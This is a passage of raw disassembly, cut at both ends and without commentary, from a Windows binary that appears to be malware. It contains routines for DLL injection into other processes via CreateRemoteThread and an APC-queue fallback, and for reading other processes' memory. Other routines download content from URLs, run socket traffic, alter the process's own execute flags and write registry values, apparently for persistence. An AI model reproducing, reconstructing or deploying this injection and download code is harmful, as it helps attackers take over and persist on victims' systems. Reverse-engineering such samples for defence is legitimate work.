sub_9AB6A9+4Cj ; sub_9AB6A9+80j pop edi pop esi pop ebx leave retn sub_9AB6A9 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AB746(SIZE_T dwBytes) sub_9AB746 proc near ; CODE XREF: sub_9A98F7+96p dwBytes = dword ptr 4 push [esp+dwBytes] ; dwBytes push 9 ; dwFlags call GetProcessHeap push eax ; hHeap call HeapAlloc retn sub_9AB746 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_9AB75A(LPVOID lpMem) sub_9AB75A proc near ; CODE XREF: sub_9A98F7+271p lpMem = dword ptr 4 push [esp+lpMem] ; lpMem push 0 ; dwFlags call GetProcessHeap push eax ; hHeap call HeapFree retn sub_9AB75A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB76E(int, LPCSTR lpFileName) sub_9AB76E proc near ; CODE XREF: sub_9A752A+A4p ; StartAddress+8Ep ... var_C = dword ptr -0Ch hObject = dword ptr -8 NumberOfBytesRead= dword ptr -4 arg_0 = dword ptr 8 lpFileName = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi xor esi, esi push esi ; hTemplateFile push esi ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push esi ; lpSecurityAttributes push 3 ; dwShareMode push 80000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName mov [ebp+var_C], esi call CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+hObject], eax jz short loc_9AB7EF push ebx push edi push esi ; lpFileSizeHigh push eax ; hFile call GetFileSize mov edi, eax push edi ; dwBytes push 40h ; uFlags call GlobalAlloc mov ebx, eax cmp ebx, esi jz short loc_9AB7E4 push esi ; lpOverlapped lea eax, [ebp+NumberOfBytesRead] push eax ; lpNumberOfBytesRead push edi ; nNumberOfBytesToRead push ebx ; lpBuffer push [ebp+hObject] ; hFile mov [ebp+NumberOfBytesRead], esi call ReadFile test eax, eax jz short loc_9AB7DD cmp [ebp+NumberOfBytesRead], edi jnz short loc_9AB7DD cmp [ebp+NumberOfBytesRead], esi jz short loc_9AB7DD mov eax, [ebp+arg_0] mov [ebp+var_C], ebx mov [eax], edi jmp short loc_9AB7E4 ; --------------------------------------------------------------------------- loc_9AB7DD: ; CODE XREF: sub_9AB76E+59j ; sub_9AB76E+5Ej ... push ebx ; hMem call GlobalFree loc_9AB7E4: ; CODE XREF: sub_9AB76E+42j ; sub_9AB76E+6Dj push [ebp+hObject] ; hObject call CloseHandle pop edi pop ebx loc_9AB7EF: ; CODE XREF: sub_9AB76E+27j mov eax, [ebp+var_C] pop esi leave retn sub_9AB76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB7F5(LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPCSTR lpFileName) sub_9AB7F5 proc near ; CODE XREF: sub_9A752A+C6p ; sub_9AAAA0+B6p ... NumberOfBytesWritten= dword ptr -8 var_4 = dword ptr -4 lpBuffer = dword ptr 8 nNumberOfBytesToWrite= dword ptr 0Ch lpFileName = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi push edi xor esi, esi push esi ; hTemplateFile push esi ; dwFlagsAndAttributes push 4 ; dwCreationDisposition push esi ; lpSecurityAttributes push 1 ; dwShareMode push 40000000h ; dwDesiredAccess push [ebp+lpFileName] ; lpFileName mov [ebp+var_4], esi call CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_9AB862 push ebx mov ebx, [ebp+nNumberOfBytesToWrite] push esi ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push ebx ; nNumberOfBytesToWrite push [ebp+lpBuffer] ; lpBuffer mov [ebp+NumberOfBytesWritten], esi push edi ; hFile call WriteFile test eax, eax jz short loc_9AB844 cmp [ebp+NumberOfBytesWritten], ebx jnz short loc_9AB844 mov [ebp+var_4], 1 loc_9AB844: ; CODE XREF: sub_9AB7F5+41j ; sub_9AB7F5+46j push edi ; hObject call CloseHandle cmp [ebp+var_4], esi pop ebx push [ebp+lpFileName] ; lpFileName jz short loc_9AB85C call sub_9AB6A9 pop ecx jmp short loc_9AB862 ; --------------------------------------------------------------------------- loc_9AB85C: ; CODE XREF: sub_9AB7F5+5Dj call DeleteFileA loc_9AB862: ; CODE XREF: sub_9AB7F5+26j ; sub_9AB7F5+65j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_9AB7F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB869(SOCKET s, u_long len, int) sub_9AB869 proc near ; CODE XREF: sub_9AE3FA+7Bp ; sub_9AE3FA+C4p ... readfds = fd_set ptr -210h exceptfds = fd_set ptr -10Ch timeout = timeval ptr -8 s = dword ptr 8 len = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 210h mov ecx, [ebp+arg_8] push ebx push esi mov esi, [ebp+len] push edi mov edi, [ebp+s] mov [ebp+timeout.tv_sec], ecx lea ecx, [ebp+timeout] push ecx ; timeout xor eax, eax lea ecx, [ebp+exceptfds] push ecx ; exceptfds push eax ; writefds lea ecx, [ebp+readfds] xor ebx, ebx push ecx ; readfds inc ebx push eax ; nfds mov [esi], eax mov [ebp+readfds.fd_array], edi mov [ebp+readfds.fd_count], ebx mov [ebp+exceptfds.fd_array], edi mov [ebp+exceptfds.fd_count], ebx mov [ebp+timeout.tv_usec], eax call select cmp eax, ebx mov [ebp+len], eax jl short loc_9AB924 lea eax, [ebp+exceptfds] push eax ; fd_set * push edi ; fd call __WSAFDIsSet test eax, eax jnz short loc_9AB924 lea eax, [ebp+len] push eax ; argp push 4004667Fh ; cmd push edi ; s call ioctlsocket cmp eax, 0FFFFFFFFh jz short loc_9AB92F push [ebp+len] ; dwBytes push 40h ; uFlags call GlobalAlloc mov ebx, eax test ebx, ebx jz short loc_9AB920 push 0 ; flags push [ebp+len] ; len push ebx ; buf push edi ; s call recv cmp eax, 0FFFFFFFFh mov [esi], eax jnz short loc_9AB912 and dword ptr [esi], 0 loc_9AB912: ; CODE XREF: sub_9AB869+A4j cmp dword ptr [esi], 0 jnz short loc_9AB920 push ebx ; hMem call GlobalFree xor ebx, ebx loc_9AB920: ; CODE XREF: sub_9AB869+90j ; sub_9AB869+ACj mov eax, ebx jmp short loc_9AB931 ; --------------------------------------------------------------------------- loc_9AB924: ; CODE XREF: sub_9AB869+59j ; sub_9AB869+6Aj push 274Ch ; iError call WSASetLastError loc_9AB92F: ; CODE XREF: sub_9AB869+7Fj xor eax, eax loc_9AB931: ; CODE XREF: sub_9AB869+B9j pop edi pop esi pop ebx leave retn sub_9AB869 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB936(SOCKET s, int, int, int) sub_9AB936 proc near ; CODE XREF: sub_9AE3FA+63p ; sub_9AE3FA+ADp ... writefds = fd_set ptr -210h exceptfds = fd_set ptr -10Ch timeout = timeval ptr -8 s = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi xor edi, edi cmp [ebp+arg_8], edi jle short loc_9AB9C1 mov esi, [ebp+s] xor ebx, ebx inc ebx loc_9AB94F: ; CODE XREF: sub_9AB936+89j mov eax, [ebp+arg_C] lea ecx, [ebp+timeout] push ecx ; timeout lea ecx, [ebp+exceptfds] push ecx ; exceptfds lea ecx, [ebp+writefds] mov [ebp+timeout.tv_sec], eax xor eax, eax push ecx ; writefds push eax ; readfds push eax ; nfds mov [ebp+writefds.fd_array], esi mov [ebp+writefds.fd_count], ebx mov [ebp+exceptfds.fd_array], esi mov [ebp+exceptfds.fd_count], ebx mov [ebp+timeout.tv_usec], eax call select cmp eax, ebx jl short loc_9AB9CD lea eax, [ebp+exceptfds] push eax ; fd_set * push esi ; fd call __WSAFDIsSet test eax, eax jnz short loc_9AB9CD push eax ; flags mov eax, [ebp+arg_8] sub eax, edi push eax ; len mov eax, [ebp+arg_4] add eax, edi push eax ; buf push esi ; s call send cmp eax, 0FFFFFFFFh jz short loc_9AB9C8 add edi, eax cmp edi, [ebp+arg_8] jl short loc_9AB94F loc_9AB9C1: ; CODE XREF: sub_9AB936+11j mov eax, edi loc_9AB9C3: ; CODE XREF: sub_9AB936+95j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_9AB9C8: ; CODE XREF: sub_9AB936+82j ; sub_9AB936+A2j or eax, 0FFFFFFFFh jmp short loc_9AB9C3 ; --------------------------------------------------------------------------- loc_9AB9CD: ; CODE XREF: sub_9AB936+58j ; sub_9AB936+69j push 274Ch ; iError call WSASetLastError jmp short loc_9AB9C8 sub_9AB936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AB9DA(SOCKET fd, int, u_short netshort, int) sub_9AB9DA proc near ; CODE XREF: sub_9AE3FA+40p exceptfds = fd_set ptr -228h writefds = fd_set ptr -124h Dst = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch timeout = timeval ptr -10h var_8 = dword ptr -8 argp = dword ptr -4 fd = dword ptr 8 arg_4 = dword ptr 0Ch netshort = word ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 228h and [ebp+var_8], 0 push ebx push esi push edi push 10h ; Size xor esi, esi lea eax, [ebp+Dst] push 0 ; Val inc esi push eax ; Dst mov [ebp+argp], esi call memset mov eax, [ebp+arg_4] add esp, 0Ch push dword ptr [ebp+netshort] ; netshort mov [ebp+Dst], 2 mov [ebp+var_1C], eax call ntohs mov edi, [ebp+fd] mov ebx, ioctlsocket mov [ebp+var_1E], ax lea eax, [ebp+argp] push eax ; argp push 8004667Eh ; cmd push edi ; s call ebx ; ioctlsocket push 10h ; namelen lea eax, [ebp+Dst] push eax ; name push edi ; s call connect cmp eax, 0FFFFFFFFh jnz short loc_9ABA4D call WSAGetLastError cmp eax, 2733h jnz short loc_9ABABE loc_9ABA4D: ; CODE XREF: sub_9AB9DA+64j mov eax, [ebp+arg_C] lea ecx, [ebp+timeout] push ecx ; timeout lea ecx, [ebp+exceptfds] push ecx ; exceptfds lea ecx, [ebp+writefds] mov [ebp+timeout.tv_sec], eax xor eax, eax push ecx ; writefds push eax ; readfds push eax ; nfds mov [ebp+writefds.fd_array], edi mov [ebp+writefds.fd_count], esi mov [ebp+exceptfds.fd_array], edi mov [ebp+exceptfds.fd_count], esi mov [ebp+timeout.tv_usec], eax call select mov [ebp+arg_4], eax lea eax, [ebp+var_8] push eax ; argp push 8004667Eh ; cmd push edi ; s call ebx ; ioctlsocket cmp [ebp+arg_4], esi jl short loc_9ABAB3 lea eax, [ebp+writefds] push eax ; fd_set * push edi ; fd call __WSAFDIsSet test eax, eax jz short loc_9ABAB3 xor eax, eax jmp short loc_9ABAC1 ; --------------------------------------------------------------------------- loc_9ABAB3: ; CODE XREF: sub_9AB9DA+C2j ; sub_9AB9DA+D3j push 274Ch ; iError call WSASetLastError loc_9ABABE: ; CODE XREF: sub_9AB9DA+71j or eax, 0FFFFFFFFh loc_9ABAC1: ; CODE XREF: sub_9AB9DA+D7j pop edi pop esi pop ebx leave retn sub_9AB9DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9ABAC6(LPCSTR lpszUrl, int, int) sub_9ABAC6 proc near ; CODE XREF: sub_9A9580+5Ep ; sub_9AC476+5Ep ... szAgent = byte ptr -420h var_20 = dword ptr -20h dwIndex = dword ptr -1Ch hInternet = dword ptr -18h Buffer = dword ptr -14h hFile = dword ptr -10h dwNumberOfBytesRead= dword ptr -0Ch dwBufferLength = dword ptr -8 var_4 = dword ptr -4 lpszUrl = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 420h mov eax, [ebp+arg_4] and dword ptr [eax], 0 push ebx push esi push edi lea eax, [ebp+dwBufferLength] push eax ; cbSize lea eax, [ebp+szAgent] push eax ; pszUAOut push 0 ; dwOption mov [ebp+dwBufferLength], 400h call ObtainUserAgentString mov esi, 10000h push esi ; dwBytes push 40h ; uFlags mov ebx, esi call GlobalAlloc mov edi, eax xor eax, eax cmp edi, eax jz loc_9ABC08 xor ecx, ecx cmp [ebp+arg_8], eax push eax ; dwFlags setnz cl push eax ; lpszProxyBypass push eax ; lpszProxy lea eax, [ebp+szAgent] push ecx ; dwAccessType push eax ; lpszAgent call InternetOpenA test eax, eax mov [ebp+hInternet], eax jz loc_9ABC08 xor eax, eax push eax ; dwContext push 84080300h ; dwFlags push eax ; dwHeadersLength push eax ; lpszHeaders push [ebp+lpszUrl] ; lpszUrl push [ebp+hInternet] ; hInternet call InternetOpenUrlA test eax, eax mov [ebp+hFile], eax jz loc_9ABBFF and [ebp+dwIndex], 0 lea ecx, [ebp+dwIndex] push ecx ; lpdwIndex lea ecx, [ebp+dwBufferLength] push ecx ; lpdwBufferLength lea ecx, [ebp+Buffer] push ecx ; lpBuffer push 20000013h ; dwInfoLevel push eax ; hRequest mov [ebp+Buffer], 1F4h mov [ebp+dwBufferLength], 4 call HttpQueryInfoA test eax, eax jz short loc_9ABBF6 cmp [ebp+Buffer], 0C8h jnz short loc_9ABBF6 and [ebp+dwNumberOfBytesRead], 0 and [ebp+var_4], 0 lea eax, [ebp+dwNumberOfBytesRead] push eax push esi push edi jmp short loc_9ABBE1 ; --------------------------------------------------------------------------- loc_9ABB99: ; CODE XREF: sub_9ABAC6+126j mov eax, [ebp+dwNumberOfBytesRead] test eax, eax jz short loc_9ABBEE add [ebp+var_4], eax cmp [ebp+var_4], ebx jnz short loc_9ABBD2 lea esi, [ebx+ebx] push esi ; dwBytes push 40h ; uFlags call GlobalAlloc test eax, eax mov [ebp+var_20], eax jz short loc_9ABBEE push ebx ; Size push edi ; Src push eax ; Dst call memcpy add esp, 0Ch push edi ; hMem call GlobalFree mov edi, [ebp+var_20] mov ebx, esi loc_9ABBD2: ; CODE XREF: sub_9ABAC6+E0j lea eax, [ebp+dwNumberOfBytesRead] push eax ; lpdwNumberOfBytesRead mov eax, [ebp+var_4] mov ecx, ebx sub ecx, eax push ecx ; dwNumberOfBytesToRead add eax, edi push eax ; lpBuffer loc_9ABBE1: ; CODE XREF: sub_9ABAC6+D1j push [ebp+hFile] ; hFile call InternetReadFile test eax, eax jnz short loc_9ABB99 loc_9ABBEE: ; CODE XREF: sub_9ABAC6+D8j ; sub_9ABAC6+F3j mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [ecx], eax loc_9ABBF6: ; CODE XREF: sub_9ABAC6+B8j ; sub_9ABAC6+C1j push [ebp+hFile] ; hInternet call InternetCloseHandle loc_9ABBFF: ; CODE XREF: sub_9ABAC6+86j push [ebp+hInternet] ; hInternet call InternetCloseHandle loc_9ABC08: ; CODE XREF: sub_9ABAC6+41j ; sub_9ABAC6+65j mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_9ABC1D test edi, edi jz short loc_9ABC1D push edi ; hMem call GlobalFree xor edi, edi loc_9ABC1D: ; CODE XREF: sub_9ABAC6+148j ; sub_9ABAC6+14Cj mov eax, edi pop edi pop esi pop ebx leave retn sub_9ABAC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9ABC24(char *Str2) sub_9ABC24 proc near ; CODE XREF: sub_9A74E1+2Ap ; sub_9AA5A0+8p ... pe = PROCESSENTRY32 ptr -128h Str2 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi xor ebx, ebx push ebx ; th32ProcessID push 2 ; dwFlags call CreateToolhelp32Snapshot mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_9ABC9E push edi push 49h pop ecx xor eax, eax mov [ebp+pe.dwSize], 128h lea edi, [ebp+pe.cntUsage] rep stosd lea eax, [ebp+pe] push eax ; lppe push esi ; hSnapshot call Process32First pop edi jmp short loc_9ABC8B ; --------------------------------------------------------------------------- loc_9ABC68: ; CODE XREF: sub_9ABC24+69j push [ebp+Str2] ; Str2 lea eax, [ebp+pe.szExeFile] push eax ; Str1 call _stricmp test eax, eax pop ecx pop ecx jz short loc_9ABC91 lea eax, [ebp+pe] push eax ; lppe push esi ; hSnapshot call Process32Next loc_9ABC8B: ; CODE XREF: sub_9ABC24+42j test eax, eax jnz short loc_9ABC68 jmp short loc_9ABC97 ; --------------------------------------------------------------------------- loc_9ABC91: ; CODE XREF: sub_9ABC24+58j mov ebx, [ebp+pe.th32ProcessID] loc_9ABC97: ; CODE XREF: sub_9ABC24+6Bj push esi ; hObject call CloseHandle loc_9ABC9E: ; CODE XREF: sub_9ABC24+1Aj pop esi mov eax, ebx pop ebx leave retn sub_9ABC24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9ABCA4(DWORD dwProcessId, char *lpBuffer) sub_9ABCA4 proc near ; CODE XREF: sub_9A74E1+1Ap ; sub_9A74E1+36p ... te = THREADENTRY32 ptr -3Ch ThreadId = dword ptr -20h NumberOfBytesWritten= dword ptr -1Ch var_18 = dword ptr -18h hProcess = dword ptr -14h hObject = dword ptr -10h lpStartAddress = dword ptr -0Ch lpParameter = dword ptr -8 var_4 = dword ptr -4 dwProcessId = dword ptr 8 lpBuffer = dword ptr 0Ch push ebp mov ebp, esp sub esp, 3Ch push esi push edi push [ebp+lpBuffer] ; Str xor edi, edi mov [ebp+var_4], edi call strlen pop ecx push [ebp+dwProcessId] ; dwProcessId mov esi, eax push edi ; bInheritHandle push 2Ah ; dwDesiredAccess inc esi call OpenProcess cmp eax, edi mov [ebp+hProcess], eax jz loc_9ABE39 push 40h ; flProtect push 3000h ; flAllocationType lea ecx, [esi+20h] push ecx ; dwSize push edi ; lpAddress push eax ; hProcess call VirtualAllocEx cmp eax, edi mov [ebp+lpParameter], eax jz loc_9ABE1F mov edi, GetModuleHandleA push ebx push offset ProcName ; "LoadLibraryA" push offset aKernel32_dll ; "kernel32.dll" call edi ; GetModuleHandleA mov ebx, GetProcAddress push eax ; hModule call ebx ; GetProcAddress mov [ebp+lpStartAddress], eax lea eax, [ebp+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten inc esi push esi ; nSize push [ebp+lpBuffer] ; lpBuffer push [ebp+lpParameter] ; lpBaseAddress push [ebp+hProcess] ; hProcess call WriteProcessMemory test eax, eax jz loc_9ABE1E lea eax, [ebp+ThreadId] push eax ; lpThreadId xor esi, esi push esi ; dwCreationFlags push [ebp+lpParameter] ; lpParameter push [ebp+lpStartAddress] ; lpStartAddress push esi ; dwStackSize push esi ; lpThreadAttributes push [ebp+hProcess] ; hProcess call CreateRemoteThread cmp eax, esi jz short loc_9ABD57 mov [ebp+var_4], 1 push eax jmp loc_9ABE18 ; --------------------------------------------------------------------------- loc_9ABD57: ; CODE XREF: sub_9ABCA4+A4j push offset aNtqueueapcthre ; "NtQueueApcThread" push offset aNtdll_dll ; "ntdll.dll" call edi ; GetModuleHandleA push eax ; hModule call ebx ; GetProcAddress cmp eax, esi mov [ebp+var_18], eax jz loc_9ABE1E push offset aLoadlibraryexa ; "LoadLibraryExA" push offset aKernel32_dll ; "kernel32.dll" call edi ; GetModuleHandleA push eax ; hModule call ebx ; GetProcAddress push 0 ; th32ProcessID push 4 ; dwFlags mov [ebp+lpStartAddress], eax call CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+hObject], eax jz loc_9ABE1E push 6 pop ecx xor eax, eax lea edi, [ebp+te.cntUsage] rep stosd lea eax, [ebp+te] push eax ; lpte push [ebp+hObject] ; hSnapshot mov [ebp+te.dwSize], 1Ch call Thread32First jmp short loc_9ABE11 ; --------------------------------------------------------------------------- loc_9ABDB7: ; CODE XREF: sub_9ABCA4+16Fj mov eax, [ebp+dwProcessId] cmp eax, [ebp+te.th32OwnerProcessID] jnz short loc_9ABE05 push [ebp+te.th32ThreadID] ; dwThreadId xor esi, esi push esi ; bInheritHandle push 10h ; dwDesiredAccess call OpenThread mov ebx, eax cmp ebx, esi jz short loc_9ABE05 push esi push esi push [ebp+lpParameter] push [ebp+lpStartAddress] push ebx call [ebp+var_18] push ebx ; hObject mov edi, eax call CloseHandle push edi push [ebp+te.th32ThreadID] push offset aThread08xStatu ; "thread: %08x, status: %08x\n" call printf add esp, 0Ch cmp edi, esi jl short loc_9ABE05 mov [ebp+var_4], 1 loc_9ABE05: ; CODE XREF: sub_9ABCA4+119j ; sub_9ABCA4+12Dj ... lea eax, [ebp+te] push eax ; lpte push [ebp+hObject] ; hSnapshot call Thread32Next loc_9ABE11: ; CODE XREF: sub_9ABCA4+111j test eax, eax jnz short loc_9ABDB7 push [ebp+hObject] ; hObject loc_9ABE18: ; CODE XREF: sub_9ABCA4+AEj call CloseHandle loc_9ABE1E: ; CODE XREF: sub_9ABCA4+84j ; sub_9ABCA4+C7j ... pop ebx loc_9ABE1F: ; CODE XREF: sub_9ABCA4+48j push [ebp+hProcess] ; hObject call CloseHandle cmp [ebp+var_4], 0 jz short loc_9ABE39 push 5DCh ; dwMilliseconds call Sleep loc_9ABE39: ; CODE XREF: sub_9ABCA4+2Aj ; sub_9ABCA4+188j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_9ABCA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=6Ch sub_9ABE40 proc near ; CODE XREF: sub_9ABECA+61p Buffer = byte ptr -8Ch var_7C = dword ptr -7Ch Src = byte ptr -4Ch Dst = word ptr -0Ch var_8 = dword ptr -8 NumberOfBytesRead= dword ptr -4 hProcess = dword ptr 8 lpBaseAddress = dword ptr 0Ch arg_8 = dword ptr 10h push ebp lea ebp, [esp-6Ch] sub esp, 8Ch push esi mov esi, ReadProcessMemory push edi lea eax, [ebp+6Ch+NumberOfBytesRead] push eax ; lpNumberOfBytesRead mov edi, 80h push edi ; nSize lea eax, [ebp+6Ch+Buffer] push eax ; lpBuffer push [ebp+6Ch+lpBaseAddress] ; lpBaseAddress push [ebp+6Ch+hProcess] ; hProcess call esi ; ReadProcessMemory test eax, eax jnz short loc_9ABE71 loc_9ABE6D: ; CODE XREF: sub_9ABE40+44j ; sub_9ABE40+64j xor eax, eax jmp short loc_9ABEC3 ; --------------------------------------------------------------------------- loc_9ABE71: ; CODE XREF: sub_9ABE40+2Bj lea eax, [ebp+6Ch+NumberOfBytesRead] push eax ; lpNumberOfBytesRead push edi ; nSize lea eax, [ebp+6Ch+Buffer] push eax ; lpBuffer push [ebp+6Ch+var_7C] ; lpBaseAddress push [ebp+6Ch+hProcess] ; hProcess call esi ; ReadProcessMemory test eax, eax jz short loc_9ABE6D push 8 ; Size lea eax, [ebp+6Ch+Src] push eax ; Src lea eax, [ebp+6Ch+Dst] push eax ; Dst call memcpy movzx eax, [ebp+6Ch+Dst] mov ecx, [ebp+6Ch+arg_8] add esp, 0Ch shr eax, 1 dec ecx cmp ecx, eax jb short loc_9ABE6D and word ptr [ebx+eax*2], 0 lea eax, [ebp+6Ch+NumberOfBytesRead] push eax ; lpNumberOfBytesRead movzx eax, [ebp+6Ch+Dst] push eax ; nSize push ebx ; lpBuffer push [ebp+6Ch+var_8] ; lpBaseAddress push [ebp+6Ch+hProcess] ; hProcess call esi ; ReadProcessMemory neg eax sbb eax, eax neg eax loc_9ABEC3: ; CODE XREF: sub_9ABE40+2Fj pop edi pop esi add ebp, 6Ch leave retn sub_9ABE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9ABECA(DWORD dwProcessId, int, int) sub_9ABECA proc near ; CODE XREF: sub_9ABF43+71p var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_4 = byte ptr -4 dwProcessId = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi push offset aNtqueryinforma ; "NtQueryInformationProcess" push offset aNtdll_dll ; "ntdll.dll" call GetModuleHandleA push eax ; hModule call GetProcAddress mov ebx, eax xor edi, edi cmp ebx, edi jnz short loc_9ABEF5 xor eax, eax jmp short loc_9ABF3F ; --------------------------------------------------------------------------- loc_9ABEF5: ; CODE XREF: sub_9ABECA+25j push esi push [ebp+dwProcessId] ; dwProcessId push edi ; bInheritHandle push 410h ; dwDesiredAccess call OpenProcess mov esi, eax cmp esi, edi jnz short loc_9ABF0F xor eax, eax jmp short loc_9ABF3E ; --------------------------------------------------------------------------- loc_9ABF0F: ; CODE XREF: sub_9ABECA+3Fj lea eax, [ebp+var_4] push eax push 18h lea eax, [ebp+var_1C] push eax push edi push esi call ebx test eax, eax jl short loc_9ABF35 push [ebp+arg_8] mov ebx, [ebp+arg_4] push [ebp+var_18] push esi call sub_9ABE40 add esp, 0Ch mov edi, eax loc_9ABF35: ; CODE XREF: sub_9ABECA+55j push esi ; hObject call CloseHandle mov eax, edi loc_9ABF3E: ; CODE XREF: sub_9ABECA+43j pop esi loc_9ABF3F: ; CODE XREF: sub_9ABECA+29j pop edi pop ebx leave retn sub_9ABECA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9ABF43(LPCWSTR lpSrch) sub_9ABF43 proc near ; CODE XREF: sub_9A74E1+9p ; sub_9AA56C+8p First = word ptr -330h var_32E = byte ptr -32Eh pe = PROCESSENTRY32 ptr -128h lpSrch = dword ptr 8 push ebp mov ebp, esp sub esp, 330h push ebx push esi xor ebx, ebx push ebx ; th32ProcessID push 2 ; dwFlags call CreateToolhelp32Snapshot mov esi, eax cmp esi, 0FFFFFFFFh jz loc_9ABFF5 push edi push 49h pop ecx xor eax, eax mov [ebp+pe.dwSize], 128h lea edi, [ebp+pe.cntUsage] rep stosd lea eax, [ebp+pe] push eax ; lppe push esi ; hSnapshot call Process32First jmp short loc_9ABFE1 ; --------------------------------------------------------------------------- loc_9ABF8A: ; CODE XREF: sub_9ABF43+A0j xor eax, eax mov [ebp+First], bx mov ecx, 81h lea edi, [ebp+var_32E] rep stosd stosw push 104h ; int lea eax, [ebp+First] push eax ; int push [ebp+pe.th32ProcessID] ; dwProcessId call sub_9ABECA add esp, 0Ch test eax, eax jz short loc_9ABFD4 push [ebp+lpSrch] ; lpSrch lea eax, [ebp+First] push eax ; lpFirst call StrStrIW test eax, eax jnz short loc_9ABFE7 loc_9ABFD4: ; CODE XREF: sub_9ABF43+7Bj lea eax, [ebp+pe] push eax ; lppe push esi ; hSnapshot call Process32Next loc_9ABFE1: ; CODE XREF: sub_9ABF43+45j test eax, eax jnz short loc_9ABF8A jmp short loc_9ABFED ; --------------------------------------------------------------------------- loc_9ABFE7: ; CODE XREF: sub_9ABF43+8Fj mov ebx, [ebp+pe.th32ProcessID] loc_9ABFED: ; CODE XREF: sub_9ABF43+A2j push esi ; hObject call CloseHandle pop edi loc_9ABFF5: ; CODE XREF: sub_9ABF43+1Aj pop esi mov eax, ebx pop ebx leave retn sub_9ABF43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_9ABFFB proc near ; CODE XREF: sub_9A799E+24p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, GetModuleHandleA push edi push offset aNtqueryinforma ; "NtQueryInformationProcess" mov ebx, offset aNtdll_dll ; "ntdll.dll" push ebx ; lpModuleName call esi ; GetModuleHandleA mov edi, GetProcAddress push eax ; hModule call edi ; GetProcAddress push offset aNtsetinformati ; "NtSetInformationProcess" push ebx ; lpModuleName mov [ebp+var_8], eax call esi ; GetModuleHandleA push eax ; hModule call edi ; GetProcAddress mov esi, eax xor eax, eax cmp [ebp+var_8], eax jz short loc_9AC05F cmp esi, eax jz short loc_9AC05F push eax push 4 mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 22h push 0FFFFFFFFh call [ebp+var_8] test eax, eax jl short loc_9AC05F or [ebp+var_4], 70h push 4 lea eax, [ebp+var_4] push eax push 22h push 0FFFFFFFFh call esi loc_9AC05F: ; CODE XREF: sub_9ABFFB+39j ; sub_9ABFFB+3Dj ... pop edi pop esi pop ebx leave retn sub_9ABFFB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AC064(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE *lpData, DWORD cbData, DWORD dwType) sub_9AC064 proc near ; CODE XREF: sub_9AC0F9+15p phkResult = dword ptr -4 hKey = dword ptr 8 lpSubKey = dword ptr 0Ch lpValueName = dword ptr 10h lpData = dword ptr 14h cbData = dword ptr 18h dwType = dword ptr 1Ch push ebp mov ebp, esp push ecx push esi lea eax, [ebp+phkResult] push eax ; phkResult push 20006h ; samDesired xor esi, esi push esi ; ulOptions push [ebp+lpSubKey] ; lpSubKey push [ebp+hKey] ; hKey call RegOpenKeyExA test eax, eax jnz short loc_9AC0A9 push [ebp+cbData] ; cbData push [ebp+lpData] ; lpData push [ebp+dwType] ; dwType push esi ; Reserved push [ebp+lpValueName] ; lpValueName push [ebp+phkResult] ; hKey call RegSetValueExA test eax, eax jnz short loc_9AC0A0 inc esi loc_9AC0A0: ; CODE XREF: sub_9AC064+39j push [ebp+phkResult] ; hKey call RegCloseKey loc_9AC0A9: ; CODE XREF: sub_9AC064+1Fj mov eax, esi pop esi leave retn sub_9AC064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_9AC0AE(int, LPCSTR lpSubKey, LPCSTR lpValueName, LPBYTE lpData, DWORD cbData) sub_9AC0AE proc near ; CODE XREF: sub_9AC117+12p hKey = dword ptr -4 lpSubKey = dword ptr 0Ch lpValueName = dword ptr 10h lpData = dword ptr 